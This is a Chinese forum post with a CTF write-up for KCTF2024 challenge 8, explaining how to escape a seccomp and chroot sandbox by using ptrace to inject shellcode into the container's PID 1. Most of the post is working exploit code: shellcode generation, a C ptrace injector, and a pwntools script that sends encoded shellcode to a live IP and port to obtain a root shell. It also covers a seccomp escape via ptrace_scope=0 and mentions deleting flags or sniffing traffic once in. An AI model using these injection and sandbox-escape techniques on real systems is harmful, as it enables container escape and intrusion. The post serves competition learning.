首页
社区
课程
招聘
[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)
发表于: 2024-8-30 18:09 9490

[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)

2024-8-30 18:09
9490

ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。

开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
图片描述
dump一下沙箱的规则:
图片描述
只允许read, wait4, ptrace

目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。

题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:

但是本题目环境不存在这两个问题

(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)

注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。

这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。

容器中的进程有:

自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:

生成第二段shellcode(注入sh执行的shellcode):

生成第一段shellcode(发给程序的):

然后编译一下:
gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了

这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量()不知道是不是预期解

版主回复说在预期内,可以打通之后删flag防蹭车

然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ

因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:

已知ptrace可以做的三件好事:

此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)

root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope设置为0,非root用户就能trace本用户的所有进程。

题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:

虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:

然而,docker中的/proc/sys/kernel/yama/ptrace_scope随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。

作者刚学Linux的小菜鸡一枚,感谢师傅们读到这里,文中如有谬误还请评论指正

from pwn import *
context.arch = 'amd64'
 
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
                                       '/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
from pwn import *
context.arch = 'amd64'
 
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
                                       '/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
#include <sys/ptrace.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/resource.h>
#include "pwn.h"
int main() {
  pid_t sleep_pid = 2;
  struct user_regs_struct regs;
  struct rusage usage;
  int status;
  unsigned long long data[] = // 刚刚生成的shellcode
     0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
  };
 
  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
      sleep_pid++;
  }
  syscall(SYS_wait4, 1, &status, 0, &usage);
 
  syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, &regs);
  for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
      syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
  }
  syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
 
  syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
  syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
  return 0;
}
#include <sys/ptrace.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/resource.h>
#include "pwn.h"
int main() {
  pid_t sleep_pid = 2;
  struct user_regs_struct regs;
  struct rusage usage;
  int status;
  unsigned long long data[] = // 刚刚生成的shellcode
     0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
  };
 
  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
      sleep_pid++;
  }
  syscall(SYS_wait4, 1, &status, 0, &usage);
 
  syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, &regs);
  for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
      syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
  }
  syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
 
  syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
  syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
  return 0;
}
from pwn import *
context.arch = 'amd64'
 
 
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))
p.close()
p = remote("47.101.191.23", 9999)
p.sendline(b'cat flag')
p.interactive()
from pwn import *
context.arch = 'amd64'
 
 
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2024-9-2 14:54 被只管出不管做编辑 ,原因: 更改标题
收藏
免费 3
支持
分享
最新回复 (3)
雪    币: 73669
活跃值: (23026)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
可以删除flag,等10分钟容器重启就恢复了
2024-8-30 18:14
1
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
pwn.h的源码可以提供一下吗
2024-10-12 10:14
0
雪    币: 1646
活跃值: (755)
能力值: ( LV12,RANK:318 )
在线值:
发帖
回帖
粉丝
4
mb_dsykiprk pwn.h的源码可以提供一下吗
/* raw_syscall.h — minimal, cross-arch Linux raw syscall helpers
 *
 * Supported arch: x86_64, i386, aarch64, riscv64, arm (EABI)
 * Behavior:
 *   - __raw_syscall(number, a1..a6) returns kernel raw return (negative = -errno)
 *   - raw_syscall(...)    -> same as __raw_syscall (0..6 args)
 *   - raw_syscall_errno(...) -> on error sets errno and returns -1
 */

#ifndef RAW_SYSCALL_H
#define RAW_SYSCALL_H

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <fcntl.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <syscall.h>
#include <errno.h>
#include <stdint.h>

#ifdef __cplusplus
extern "C" {
#endif

/* ===== Arch-specific core: __raw_syscall(number, a1..a6) ===== */

static inline __attribute__((always_inline))
long __raw_syscall(long n,
                   long a1, long a2, long a3,
                   long a4, long a5, long a6) {
#if defined(__x86_64__)

    register long rax __asm__("rax") = n;
    register long rdi __asm__("rdi") = a1;
    register long rsi __asm__("rsi") = a2;
    register long rdx __asm__("rdx") = a3;
    register long r10 __asm__("r10") = a4;
    register long r8  __asm__("r8")  = a5;
    register long r9  __asm__("r9")  = a6;
    __asm__ volatile("syscall"
                     : "+a"(rax)
                     : "D"(rdi), "S"(rsi), "d"(rdx), "r"(r10), "r"(r8), "r"(r9)
                     : "rcx", "r11", "memory", "cc");
    return rax;

#elif defined(__i386__)

    /* int 0x80, 6th arg in EBP */
    long eax = n;
    long _a6 = a6;
    __asm__ volatile(
        "push %6\n\t"
        "push %%ebp\n\t"
        "mov  4(%%esp), %%ebp\n\t"
        "int  $0x80\n\t"
        "pop  %%ebp\n\t"
        "add  $4, %%esp\n\t"
        : "+a"(eax)
        : "b"(a1), "c"(a2), "d"(a3), "S"(a4), "D"(a5), "m"(_a6)
        : "memory", "cc");
    return eax;

#elif defined(__aarch64__)

    register long x8 __asm__("x8") = n;
    register long x0 __asm__("x0") = a1;
    register long x1 __asm__("x1") = a2;
    register long x2 __asm__("x2") = a3;
    register long x3 __asm__("x3") = a4;
    register long x4 __asm__("x4") = a5;
    register long x5 __asm__("x5") = a6;
    __asm__ volatile("svc 0"
                     : "+r"(x0)
                     : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
                     : "memory", "cc");
    return x0;

#elif defined(__riscv) && __riscv_xlen == 64

    register long a7 __asm__("a7") = n;
    register long a0 __asm__("a0") = a1;
    register long a1r __asm__("a1") = a2;
    register long a2r __asm__("a2") = a3;
    register long a3r __asm__("a3") = a4;
    register long a4r __asm__("a4") = a5;
    register long a5r __asm__("a5") = a6;
    __asm__ volatile("ecall"
                     : "+r"(a0)
                     : "r"(a7), "r"(a1r), "r"(a2r), "r"(a3r), "r"(a4r), "r"(a5r)
                     : "memory", "cc");
    return a0;

#elif defined(__arm__) && !defined(__aarch64__)

    /* EABI: r7 = nr, r0-r6 args, svc 0 */
    register long r7 __asm__("r7") = n;
    register long r0 __asm__("r0") = a1;
    register long r1 __asm__("r1") = a2;
    register long r2 __asm__("r2") = a3;
    register long r3 __asm__("r3") = a4;
    register long r4 __asm__("r4") = a5;
    register long r5 __asm__("r5") = a6;
    __asm__ volatile("svc 0"
                     : "+r"(r0)
                     : "r"(r7), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5)
                     : "memory", "cc");
    return r0;

#else
# error "Unsupported architecture for raw_syscall.h"
#endif
}

/* ===== Small helpers for 0..6 args ===== */

#define __RS_HELPER_0(n)                       __raw_syscall((n), 0,0,0,0,0,0)
#define __RS_HELPER_1(n,a1)                    __raw_syscall((n),(long)(a1),0,0,0,0,0)
#define __RS_HELPER_2(n,a1,a2)                 __raw_syscall((n),(long)(a1),(long)(a2),0,0,0,0)
#define __RS_HELPER_3(n,a1,a2,a3)              __raw_syscall((n),(long)(a1),(long)(a2),(long)(a3),0,0,0)
#define __RS_HELPER_4(n,a1,a2,a3,a4)           __raw_syscall((n),(long)(a1),(long)(a2),(long)(a3),(long)(a4),0,0)
#define __RS_HELPER_5(n,a1,a2,a3,a4,a5)        __raw_syscall((n),(long)(a1),(long)(a2),(long)(a3),(long)(a4),(long)(a5),0)
#define __RS_HELPER_6(n,a1,a2,a3,a4,a5,a6)     __raw_syscall((n),(long)(a1),(long)(a2),(long)(a3),(long)(a4),(long)(a5),(long)(a6))

#define __RS_SELECT(_0,_1,_2,_3,_4,_5,_6,NAME,...) NAME

/* raw_syscall: returns raw kernel value (negative == -errno) */
#define raw_syscall(...) \
  __RS_SELECT(__VA_ARGS__, \
              __RS_HELPER_6, __RS_HELPER_5, __RS_HELPER_4, \
              __RS_HELPER_3, __RS_HELPER_2, __RS_HELPER_1, \
              __RS_HELPER_0) (__VA_ARGS__)

/* errno-converting frontend: returns -1 on error and sets errno */
static inline __attribute__((always_inline))
long __rs_maybe_set_errno(long r) {
    if (r < 0) {
        errno = (int)-r;
        return -1;
    }
    return r;
}

#define raw_syscall_errno(...) __rs_maybe_set_errno(raw_syscall(__VA_ARGS__))

#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /* RAW_SYSCALL_H */

syscall 换成 raw_syscall 应该就可以了

2025-8-16 06:33
0
游客
登录 | 注册 方可回帖
返回